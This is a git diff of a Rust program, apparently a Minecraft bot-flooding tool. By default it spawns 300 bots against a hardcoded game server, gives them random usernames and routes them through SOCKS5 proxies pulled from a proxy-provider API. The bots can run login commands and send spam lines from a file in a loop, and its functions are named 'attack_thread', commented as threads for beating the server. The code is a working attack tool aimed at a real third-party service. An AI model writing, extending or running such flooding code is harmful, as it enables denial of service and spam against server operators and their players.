if message.state == 1 && login_timestamp == 0 { // 刚刚登录完毕
|
||||
login_timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64;
|
||||
}else if message.state == 1 { // 已登录
|
||||
if login_timestamp + 3000 <= time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_millis() as i64
|
||||
&& !login_command_flag { // 登录3s后且未执行过登录命令
|
||||
let commands = self.config.login_commands().clone();
|
||||
for i in commands{
|
||||
self.send_command(i.to_string()).await.unwrap_or(());
|
||||
thread::sleep(Duration::from_secs(1));
|
||||
}
|
||||
info!("[{}/WORKER] Login commands executed!",self.username);
|
||||
login_command_flag = true;
|
||||
}
|
||||
}
|
||||
if login_command_flag { // 执行完登录命令后
|
||||
if !self.config.spam_file().is_empty() && iter % self.config.spam_delay_ms() == 0{
|
||||
let mut msg = String::new();
|
||||
if self.config.random_prefix(){
|
||||
msg += &utils::generate_string(2,10);
|
||||
}
|
||||
{ // TODO 优化这里
|
||||
let var = self.var.clone();
|
||||
let mut file_lock = var.spam_file.lock().await;
|
||||
let file = file_lock.as_mut().unwrap();
|
||||
let mut reader = tokio::io::BufReader::new(file);
|
||||
let mut line = String::new();
|
||||
let mut flag = true;
|
||||
reader.seek(std::io::SeekFrom::Start(*var.spam_cursor.lock().await)).await.unwrap();
|
||||
while flag {
|
||||
flag = false;
|
||||
if let Ok(size) = reader.read_line(&mut line).await {
|
||||
if size == 0 {
|
||||
reader.seek(std::io::SeekFrom::Start(0)).await.unwrap();
|
||||
flag = true;
|
||||
}else {
|
||||
msg += line.trim();
|
||||
}
|
||||
}
|
||||
}
|
||||
(*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap();
|
||||
}
|
||||
self.send_message(msg).await.unwrap_or(());
|
||||
}
|
||||
let timestamp = time::SystemTime::now().duration_since(time::SystemTime::UNIX_EPOCH).unwrap().as_secs();
|
||||
if message.last_keepalive_sec + 60 < timestamp { // 连接超时
|
||||
(*self.alive.lock().await) = false;
|
||||
warn!("[{}/WORKER] Bot timed out", self.username);
|
||||
break;
|
||||
}
|
||||
|
||||
iter += 1;
|
||||
}
|
||||
sleep(Duration::from_millis(1));
|
||||
flag = self.conn.lock().await.is_alive() && message.state!=2;
|
||||
}
|
||||
warn!("[{}/WORKER] Worker stopped.", self.username);
|
||||
}
|
||||
|
||||
// 运行bot
|
||||
pub async fn run(&mut self, status_tx: tokio::sync::mpsc::UnboundedSender<BotMessage>) -> Result<(), ProtocolError> {
|
||||
info!("[{}] Connecting to {} with proxy {}", self.username, self.server_addr, self.proxy_addr);
|
||||
self.login().await.unwrap();
|
||||
self.handle_packets(status_tx).await.unwrap_or(());
|
||||
Ok(())
|
||||
}
|
||||
|
||||
pub fn should_restart(&self) -> bool {
|
||||
self.should_restart
|
||||
}
|
||||
}
|
||||
|
||||
// 把创建bot的方法提取出来力
|
||||
pub fn create_new_bot(username: String, proxy_addr: String, server_addr: String, config: Arc<Configuration>, var: Arc<BotVariable>) -> Result<Bot<Stream>, Error>{
|
||||
if !proxy_addr.is_empty() {
|
||||
Bot::<Stream>::new(
|
||||
username,
|
||||
proxy_addr,
|
||||
server_addr,
|
||||
config,
|
||||
var
|
||||
)
|
||||
}else {
|
||||
Bot::<Stream>::new(
|
||||
username,
|
||||
"".to_string(),
|
||||
server_addr,
|
||||
config,
|
||||
var
|
||||
)
|
||||
}
|
||||
}
|
||||
@@ -1,121 +1,107 @@
|
||||
use std::{fs::File, io::BufWriter};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::io::BufReader;
|
||||
|
||||
#[derive(Debug, Deserialize, Serialize)]
|
||||
pub struct Configuration {
|
||||
server_ip: String,
|
||||
server_port: String,
|
||||
username_prefix: String,
|
||||
count: i32,
|
||||
proxy_url: String,
|
||||
reco_words: Vec<String>,
|
||||
login_commands: Vec<String>,
|
||||
spam_file: String,
|
||||
spam_delay_ms: i32,
|
||||
random_prefix: bool,
|
||||
pub worker_threads: i32,
|
||||
pub use_thread_pool: bool,
|
||||
pub update_worker_threads: i32
|
||||
}
|
||||
|
||||
impl Configuration {
|
||||
pub fn new(filename: &str) -> Self {
|
||||
let file = File::open(filename);
|
||||
match file {
|
||||
Ok(file) => {
|
||||
let reader = BufReader::new(file);
|
||||
match serde_json::from_reader::<_,Configuration>(reader) { // serde可以直接解析出实现了Deserialize trait的类型 就很不错
|
||||
Ok(config) => {
|
||||
println!("[CONFIG] Server IP: {}", config.server_ip);
|
||||
println!("[CONFIG] Server Port: {}", config.server_port);
|
||||
println!("[CONFIG] Username Prefix: {}", config.username_prefix);
|
||||
println!("[CONFIG] Bot Count: {}", config.count);
|
||||
println!("[CONFIG] Proxy URL: {}", config.proxy_url);
|
||||
config
|
||||
}
|
||||
Err(error) => {
|
||||
eprintln!("[MAIN/CONF] Error parsing config file: {}", error);
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(error) => {
|
||||
eprintln!("[MAIN/CONF] Unable to read config file, will use default values: {}", error);
|
||||
let file = File::create_new(filename).unwrap();
|
||||
let writer = BufWriter::new(file);
|
||||
let mut serializer = serde_json::Serializer::pretty(writer);
|
||||
Self::default().serialize(&mut serializer).unwrap();
|
||||
eprintln!("[Main/CONF] A configure file with default values is created.");
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn default() -> Self {
|
||||
Configuration {
|
||||
server_ip: "m.earthvillage.top".to_string(),
|
||||
server_port: "33009".to_string(),
|
||||
username_prefix: "".to_string(),
|
||||
count: 300,
|
||||
proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(),
|
||||
reco_words: vec!["AntiAttack".to_string()],
|
||||
login_commands: vec![],
|
||||
spam_file: "".to_string(),
|
||||
spam_delay_ms: 0,
|
||||
random_prefix: false,
|
||||
worker_threads: 100,
|
||||
use_thread_pool: true,
|
||||
update_worker_threads: 100,
|
||||
}
|
||||
}
|
||||
|
||||
// 下面是getter一堆
|
||||
pub fn server_ip(&self) -> &str {
|
||||
self.server_ip.as_str()
|
||||
}
|
||||
pub fn server_port(&self) -> &str {
|
||||
self.server_port.as_str()
|
||||
}
|
||||
pub fn username_prefix(&self) -> &str {
|
||||
self.username_prefix.as_str()
|
||||
}
|
||||
pub fn count(&self) -> i32 {
|
||||
self.count
|
||||
}
|
||||
pub fn proxy_url(&self) -> &str {
|
||||
self.proxy_url.as_str()
|
||||
}
|
||||
pub fn reco_words(&self) -> &Vec<String> {
|
||||
&self.reco_words
|
||||
}
|
||||
pub fn login_commands(&self) -> &Vec<String> {
|
||||
&self.login_commands
|
||||
}
|
||||
pub fn spam_file(&self) -> &str {
|
||||
self.spam_file.as_str()
|
||||
}
|
||||
pub fn spam_delay_ms(&self) -> i32 {
|
||||
self.spam_delay_ms
|
||||
}
|
||||
pub fn random_prefix(&self) -> bool {
|
||||
self.random_prefix
|
||||
}
|
||||
}
|
||||
|
||||
// impl Clone for Configuration {
|
||||
// fn clone(&self) -> Self {
|
||||
// Configuration {
|
||||
// server_ip: self.server_ip.clone(),
|
||||
// server_port: self.server_port.clone(),
|
||||
// username_prefix: self.username_prefix.clone(),
|
||||
// count: self.count,
|
||||
// proxy_url: self.proxy_url.clone(),
|
||||
// reco_words: self.reco_words.clone(),
|
||||
// login_commands:self.login_commands.clone(),
|
||||
// random_prefix: self.random_prefix,
|
||||
// spam_file: self.spam_file.clone(),
|
||||
// spam_delay_ms: self.spam_delay_ms,
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
use std::{fs::File, io::BufWriter};
|
||||
use log::{info, warn, error};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use std::io::BufReader;
|
||||
|
||||
#[derive(Debug, Deserialize, Serialize)]
|
||||
pub struct Configuration {
|
||||
server_ip: String,
|
||||
server_port: String,
|
||||
username_prefix: String,
|
||||
pub name_len_limit: Vec<i64>,
|
||||
count: i32,
|
||||
proxy_url: String,
|
||||
reco_words: Vec<String>,
|
||||
login_commands: Vec<String>,
|
||||
spam_file: String,
|
||||
spam_delay_ms: i32,
|
||||
random_prefix: bool,
|
||||
pub worker_threads: i32,
|
||||
pub use_thread_pool: bool,
|
||||
pub update_worker_threads: i32
|
||||
}
|
||||
|
||||
impl Configuration {
|
||||
pub fn new(filename: &str) -> Self {
|
||||
let file = File::open(filename);
|
||||
match file {
|
||||
Ok(file) => {
|
||||
let reader = BufReader::new(file);
|
||||
match serde_json::from_reader::<_,Configuration>(reader) { // serde可以直接解析出实现了Deserialize trait的类型 就很不错
|
||||
Ok(config) => {
|
||||
info!("Server IP: {}", config.server_ip);
|
||||
info!("Server Port: {}", config.server_port);
|
||||
info!("Username Prefix: {}", config.username_prefix);
|
||||
info!("Bot Count: {}", config.count);
|
||||
info!("Proxy URL: {}", config.proxy_url);
|
||||
config
|
||||
}
|
||||
Err(error) => {
|
||||
error!("Error parsing config file: {}", error);
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(error) => {
|
||||
warn!("Unable to read config file, will use default values: {}", error);
|
||||
let file = File::create_new(filename).unwrap();
|
||||
let writer = BufWriter::new(file);
|
||||
let mut serializer = serde_json::Serializer::pretty(writer);
|
||||
Self::default().serialize(&mut serializer).unwrap();
|
||||
warn!("A configure file with default values is created.");
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn default() -> Self {
|
||||
Configuration {
|
||||
server_ip: "m.earthvillage.top".to_string(),
|
||||
server_port: "33009".to_string(),
|
||||
username_prefix: "".to_string(),
|
||||
name_len_limit: vec![4,8],
|
||||
count: 300,
|
||||
proxy_url: "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json".to_string(),
|
||||
reco_words: vec!["AntiAttack".to_string()],
|
||||
login_commands: vec![],
|
||||
spam_file: "".to_string(),
|
||||
spam_delay_ms: 0,
|
||||
random_prefix: false,
|
||||
worker_threads: 100,
|
||||
use_thread_pool: true,
|
||||
update_worker_threads: 100,
|
||||
}
|
||||
}
|
||||
|
||||
// 下面是getter一堆
|
||||
pub fn server_ip(&self) -> &str {
|
||||
self.server_ip.as_str()
|
||||
}
|
||||
pub fn server_port(&self) -> &str {
|
||||
self.server_port.as_str()
|
||||
}
|
||||
pub fn username_prefix(&self) -> &str {
|
||||
self.username_prefix.as_str()
|
||||
}
|
||||
pub fn count(&self) -> i32 {
|
||||
self.count
|
||||
}
|
||||
pub fn proxy_url(&self) -> &str {
|
||||
self.proxy_url.as_str()
|
||||
}
|
||||
pub fn reco_words(&self) -> &Vec<String> {
|
||||
&self.reco_words
|
||||
}
|
||||
pub fn login_commands(&self) -> &Vec<String> {
|
||||
&self.login_commands
|
||||
}
|
||||
pub fn spam_file(&self) -> &str {
|
||||
self.spam_file.as_str()
|
||||
}
|
||||
pub fn spam_delay_ms(&self) -> i32 {
|
||||
self.spam_delay_ms
|
||||
}
|
||||
pub fn random_prefix(&self) -> bool {
|
||||
self.random_prefix
|
||||
}
|
||||
}
|
||||
339
src/main.rs
339
src/main.rs
@@ -1,182 +1,157 @@
|
||||
// 地球管家 - 主程序
|
||||
|
||||
mod bot_socks5;
|
||||
mod utils;
|
||||
mod configuration;
|
||||
|
||||
use bot_socks5::BotVariable;
|
||||
use reqwest;
|
||||
use serde_json::Value;
|
||||
use tokio::runtime::Runtime;
|
||||
// use tokio::task;
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use tokio::sync::Mutex;
|
||||
use crate::utils::generate_username;
|
||||
use crate::configuration::Configuration;
|
||||
|
||||
// 暂且保留一下
|
||||
// // 目标的ip地址(暂时不能解析dns)
|
||||
// // 理论上你可以把它改成任何支持1.20.1的服务器
|
||||
// const SERVER_ADDR: &str = "49.70.3.146:33009";
|
||||
// // uu代理的api(用来实时获取代理)
|
||||
// const UU_URL: &str = "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json";
|
||||
// // 用户名的开头
|
||||
// // 这很不错了
|
||||
// const USERNAME_PREFIX: &str = "Nikke_"; // 2 3 3
|
||||
// // 假人数量
|
||||
// const COUNT :i32 = 300;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
// 一个互斥锁,防止有多个线程同时请求uuproxy
|
||||
let thread_lock = Arc::new(Mutex::new(()));
|
||||
|
||||
// let mut handles = Vec::new();
|
||||
let configuration = Configuration::new("config.json");
|
||||
let configuration_rc = Arc::new(configuration);
|
||||
let mut spam_file = None;
|
||||
if configuration_rc.username_prefix().len() > 14 {
|
||||
eprintln!("[CONFIG] Error: Username prefix should not longer than 14");
|
||||
return;
|
||||
}
|
||||
if !configuration_rc.clone().spam_file().is_empty() {
|
||||
spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap());
|
||||
}
|
||||
let variables = Arc::new(BotVariable {
|
||||
spam_file: Arc::new(Mutex::new(spam_file)),
|
||||
spam_cursor: Arc::new(Mutex::new(0))
|
||||
});
|
||||
|
||||
let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8 * 1024 * 1024)
|
||||
.worker_threads(configuration_rc.worker_threads as usize)
|
||||
.build()
|
||||
.unwrap();
|
||||
|
||||
let rt_update = Arc::new(tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8*1024*1024)
|
||||
.worker_threads(configuration_rc.update_worker_threads as usize)
|
||||
.build()
|
||||
.unwrap());
|
||||
|
||||
for _ in 0..configuration_rc.count() -1 {
|
||||
let lock_clone = thread_lock.clone();
|
||||
let configuration_rc_clone = configuration_rc.clone();
|
||||
let variables_clone = variables.clone();
|
||||
let rt_update_clone = rt_update.clone();
|
||||
// let handle = tokio::spawn(async move {
|
||||
// attack_thread(lock_clone).await;
|
||||
// println!("[MAIN] Thread {} created", i);
|
||||
// });
|
||||
// 生成一个线程
|
||||
// let handle = tokio::task::spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone));
|
||||
// let handle;
|
||||
if configuration_rc.use_thread_pool {
|
||||
rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone));
|
||||
}else{
|
||||
thread::spawn(move || {
|
||||
tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8 * 1024 * 1024)
|
||||
.build()
|
||||
.unwrap()
|
||||
.block_on(async move {
|
||||
attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone).await;
|
||||
// println!("[MAIN] Thread {} created", i);
|
||||
});
|
||||
});
|
||||
}
|
||||
// handles.push(handle);
|
||||
// println!("[MAIN] Thread {} created", i) // 这个太吵了(
|
||||
}
|
||||
|
||||
// 等待所有任务完成(虽然大概也许可能这辈子都等不到)
|
||||
// for _ in handles {
|
||||
// }
|
||||
let lock_clone = thread_lock.clone();
|
||||
let configuration_rc_clone = configuration_rc.clone();
|
||||
let variables_clone = variables.clone();
|
||||
let rt_update_clone = rt_update.clone();
|
||||
attack_thread(lock_clone, configuration_rc_clone, variables_clone,rt_update_clone).await;
|
||||
}
|
||||
|
||||
// 用于殴打的线程
|
||||
async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variables: Arc<BotVariable>,rt_update: Arc<Runtime>) -> () {
|
||||
loop {
|
||||
// 请求proxy(如果有)
|
||||
let username = generate_username(&config);
|
||||
// 这里用来标记是否需要重启
|
||||
let mut flag = true;
|
||||
|
||||
let mut proxy: &Value = &Value::Null;
|
||||
let mut proxy_list: Value;
|
||||
if !config.proxy_url().is_empty() {
|
||||
let mut flag = true;
|
||||
while flag {
|
||||
flag = false;
|
||||
let resp: reqwest::Response;
|
||||
{
|
||||
let _guard = lock.lock().await;
|
||||
resp = reqwest::get(config.proxy_url()).await.unwrap();
|
||||
}
|
||||
proxy_list = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
|
||||
proxy = match proxy_list["proxies"].as_array() {
|
||||
Some(t) => &t[0],
|
||||
None => &Value::Null
|
||||
};
|
||||
if !proxy.is_object() {
|
||||
flag = true;
|
||||
eprintln!("[{}] Unable to get proxy,retrying...",username)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while flag {
|
||||
flag = false;
|
||||
// 创建一个bot
|
||||
let addr:String; // 为了规避生命周期问题
|
||||
let bot_result = bot_socks5::create_new_bot(
|
||||
username.to_string(),
|
||||
{
|
||||
if proxy.is_null() { // 如果不使用proxy
|
||||
""
|
||||
}else{
|
||||
let ip = proxy["ip"].as_str().unwrap();
|
||||
let port = proxy["port"].as_i64().unwrap();
|
||||
addr = format!("{}:{}",ip,port);
|
||||
addr.as_str()
|
||||
}
|
||||
}.to_string(),
|
||||
format!("{}:{}",config.server_ip(),config.server_port()),
|
||||
config.clone(),
|
||||
variables.clone(),
|
||||
);
|
||||
if let Ok(mut bot) = bot_result {
|
||||
//println!("[{}] Connecting to {} with proxy {}", bot.username, bot.server_addr, bot.proxy_addr);
|
||||
// 插入生成update_worker线程的代码
|
||||
let mut bot_clone = bot.clone();
|
||||
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<u8>();
|
||||
rt_update.spawn(async move {
|
||||
bot_clone.update_worker(rx).await;
|
||||
});
|
||||
match bot.run(tx).await {
|
||||
Ok(_) => {
|
||||
if bot.should_restart() {
|
||||
flag = true;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!("[{}] Error running bot: {}", username.clone(), e);
|
||||
}
|
||||
}
|
||||
}else if let Err(e) = bot_result {
|
||||
eprintln!("[{}] Error creating bot: {}", username.clone(), e);
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
// 地球管家 - 主程序
|
||||
|
||||
mod bot_socks5;
|
||||
mod utils;
|
||||
mod configuration;
|
||||
|
||||
use bot_socks5::BotVariable;
|
||||
use log::error;
|
||||
use reqwest;
|
||||
use serde_json::Value;
|
||||
use tokio::runtime::Runtime;
|
||||
// use tokio::task;
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use tokio::sync::Mutex;
|
||||
use crate::utils::generate_username;
|
||||
use crate::configuration::Configuration;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
let mut logger_builder = env_logger::Builder::from_default_env();
|
||||
logger_builder.filter_level(log::LevelFilter::Info);
|
||||
logger_builder.init();
|
||||
// 一个互斥锁,防止有多个线程同时请求uuproxy
|
||||
let thread_lock = Arc::new(Mutex::new(()));
|
||||
|
||||
// let mut handles = Vec::new();
|
||||
let configuration = Configuration::new("config.json");
|
||||
let configuration_rc = Arc::new(configuration);
|
||||
let mut spam_file = None;
|
||||
if !configuration_rc.clone().spam_file().is_empty() {
|
||||
spam_file = Some(tokio::fs::File::open(configuration_rc.clone().spam_file()).await.unwrap());
|
||||
}
|
||||
let variables = Arc::new(BotVariable {
|
||||
spam_file: Arc::new(Mutex::new(spam_file)),
|
||||
spam_cursor: Arc::new(Mutex::new(0))
|
||||
});
|
||||
|
||||
let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8 * 1024 * 1024)
|
||||
.worker_threads(configuration_rc.worker_threads as usize)
|
||||
.build()
|
||||
.unwrap();
|
||||
|
||||
let rt_update = Arc::new(tokio::runtime::Builder::new_multi_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8*1024*1024)
|
||||
.worker_threads(configuration_rc.update_worker_threads as usize)
|
||||
.build()
|
||||
.unwrap());
|
||||
|
||||
for _ in 0..configuration_rc.count() -1 {
|
||||
let lock_clone = thread_lock.clone();
|
||||
let configuration_rc_clone = configuration_rc.clone();
|
||||
let variables_clone = variables.clone();
|
||||
let rt_update_clone = rt_update.clone();
|
||||
if configuration_rc.use_thread_pool {
|
||||
rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone));
|
||||
}else{
|
||||
thread::spawn(move || {
|
||||
tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8 * 1024 * 1024)
|
||||
.build()
|
||||
.unwrap()
|
||||
.block_on(async move {
|
||||
attack_thread(lock_clone,configuration_rc_clone,variables_clone,rt_update_clone).await;
|
||||
// println!("[MAIN] Thread {} created", i);
|
||||
});
|
||||
});
|
||||
}
|
||||
}
|
||||
let lock_clone = thread_lock.clone();
|
||||
let configuration_rc_clone = configuration_rc.clone();
|
||||
let variables_clone = variables.clone();
|
||||
let rt_update_clone = rt_update.clone();
|
||||
attack_thread(lock_clone, configuration_rc_clone, variables_clone,rt_update_clone).await;
|
||||
}
|
||||
|
||||
// 用于殴打的线程
|
||||
async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variables: Arc<BotVariable>,rt_update: Arc<Runtime>) -> () {
|
||||
loop {
|
||||
// 请求proxy(如果有)
|
||||
let username = generate_username(&config);
|
||||
// 这里用来标记是否需要重启
|
||||
let mut flag = true;
|
||||
|
||||
let mut proxy: &Value = &Value::Null;
|
||||
let mut proxy_list: Value;
|
||||
if !config.proxy_url().is_empty() {
|
||||
let mut flag = true;
|
||||
while flag {
|
||||
flag = false;
|
||||
let resp: reqwest::Response;
|
||||
{
|
||||
let _guard = lock.lock().await;
|
||||
resp = reqwest::get(config.proxy_url()).await.unwrap();
|
||||
}
|
||||
proxy_list = serde_json::from_str(&resp.text().await.unwrap()).unwrap();
|
||||
proxy = match proxy_list["proxies"].as_array() {
|
||||
Some(t) => &t[0],
|
||||
None => &Value::Null
|
||||
};
|
||||
if !proxy.is_object() {
|
||||
flag = true;
|
||||
error!("[{}] Unable to get proxy,retrying...",username)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
while flag {
|
||||
flag = false;
|
||||
// 创建一个bot
|
||||
let addr:String; // 为了规避生命周期问题
|
||||
let bot_result = bot_socks5::create_new_bot(
|
||||
username.to_string(),
|
||||
{
|
||||
if proxy.is_null() { // 如果不使用proxy
|
||||
""
|
||||
}else{
|
||||
let ip = proxy["ip"].as_str().unwrap();
|
||||
let port = proxy["port"].as_i64().unwrap();
|
||||
addr = format!("{}:{}",ip,port);
|
||||
addr.as_str()
|
||||
}
|
||||
}.to_string(),
|
||||
format!("{}:{}",config.server_ip(),config.server_port()),
|
||||
config.clone(),
|
||||
variables.clone(),
|
||||
);
|
||||
if let Ok(mut bot) = bot_result {
|
||||
//println!("[{}] Connecting to {} with proxy {}", bot.username, bot.server_addr, bot.proxy_addr);
|
||||
// 插入生成update_worker线程的代码
|
||||
let mut bot_clone = bot.clone();
|
||||
let (tx, rx) = tokio::sync::mpsc::unbounded_channel::<bot_socks5::BotMessage>();
|
||||
rt_update.spawn(async move {
|
||||
bot_clone.update_worker(rx).await;
|
||||
});
|
||||
match bot.run(tx).await {
|
||||
Ok(_) => {
|
||||
if bot.should_restart() {
|
||||
flag = true;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("[{}] Error running bot: {}", username.clone(), e);
|
||||
}
|
||||
}
|
||||
}else if let Err(e) = bot_result {
|
||||
error!("[{}] Error creating bot: {}", username.clone(), e);
|
||||
continue;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
122
src/utils.rs
122
src/utils.rs
@@ -1,62 +1,62 @@
|
||||
// 一些杂七杂八的小东西可以放在这
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use rand::distributions::Alphanumeric;
|
||||
use rand::Rng;
|
||||
use crate::configuration::Configuration;
|
||||
|
||||
// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个)
|
||||
pub fn parse_json_component(json: &str) -> String {
|
||||
let data: serde_json::Value = serde_json::from_str(json).unwrap();
|
||||
let mut res: String = String::new();
|
||||
let text = data.get("text");
|
||||
match text {
|
||||
Some(t) => {
|
||||
if t.is_string(){
|
||||
res += t.as_str().unwrap();
|
||||
}
|
||||
}
|
||||
None => {
|
||||
let translate = data.get("translate");
|
||||
match translate {
|
||||
Some(t) => {
|
||||
if t.is_string(){
|
||||
res += t.as_str().unwrap();
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
let extra = data.get("extra");
|
||||
match extra {
|
||||
Some(t) =>{
|
||||
for i in t.as_array().unwrap(){
|
||||
if !i.is_object(){
|
||||
continue;
|
||||
}
|
||||
res += parse_json_component(i.to_string().as_str()).as_str();
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// 生成一个随机的用户名
|
||||
// author: 通义
|
||||
pub fn generate_string(len_min: i64, len_max: i64) -> String {
|
||||
let mut rng = rand::thread_rng();
|
||||
let len = rng.gen_range(len_min..=len_max);
|
||||
rng.sample_iter(&Alphanumeric)
|
||||
.take(len as usize)
|
||||
.map(char::from)
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub fn generate_username(config: &Arc<Configuration>) -> String {
|
||||
config.username_prefix().to_string() + generate_string(
|
||||
2,16-config.username_prefix().len() as i64
|
||||
).to_string().as_str()
|
||||
// 一些杂七杂八的小东西可以放在这
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use rand::distributions::Alphanumeric;
|
||||
use rand::Rng;
|
||||
use crate::configuration::Configuration;
|
||||
|
||||
// 处理json组件(有些TextComponent里面一堆extra看的我头皮发麻,所以整个这个)
|
||||
pub fn parse_json_component(json: &str) -> String {
|
||||
let data: serde_json::Value = serde_json::from_str(json).unwrap();
|
||||
let mut res: String = String::new();
|
||||
let text = data.get("text");
|
||||
match text {
|
||||
Some(t) => {
|
||||
if t.is_string(){
|
||||
res += t.as_str().unwrap();
|
||||
}
|
||||
}
|
||||
None => {
|
||||
let translate = data.get("translate");
|
||||
match translate {
|
||||
Some(t) => {
|
||||
if t.is_string(){
|
||||
res += t.as_str().unwrap();
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
let extra = data.get("extra");
|
||||
match extra {
|
||||
Some(t) =>{
|
||||
for i in t.as_array().unwrap(){
|
||||
if !i.is_object(){
|
||||
continue;
|
||||
}
|
||||
res += parse_json_component(i.to_string().as_str()).as_str();
|
||||
}
|
||||
}
|
||||
None => {}
|
||||
}
|
||||
return res;
|
||||
}
|
||||
|
||||
// 生成一个随机的用户名
|
||||
// author: 通义
|
||||
pub fn generate_string(len_min: i64, len_max: i64) -> String {
|
||||
let mut rng = rand::thread_rng();
|
||||
let len = rng.gen_range(len_min..=len_max);
|
||||
rng.sample_iter(&Alphanumeric)
|
||||
.take(len as usize)
|
||||
.map(char::from)
|
||||
.collect()
|
||||
}
|
||||
|
||||
pub fn generate_username(config: &Arc<Configuration>) -> String {
|
||||
config.username_prefix().to_string() + generate_string(
|
||||
config.name_len_limit[0], config.name_len_limit[1]
|
||||
).to_string().as_str()
|
||||
}
|
||||
Reference in New Issue
Block a user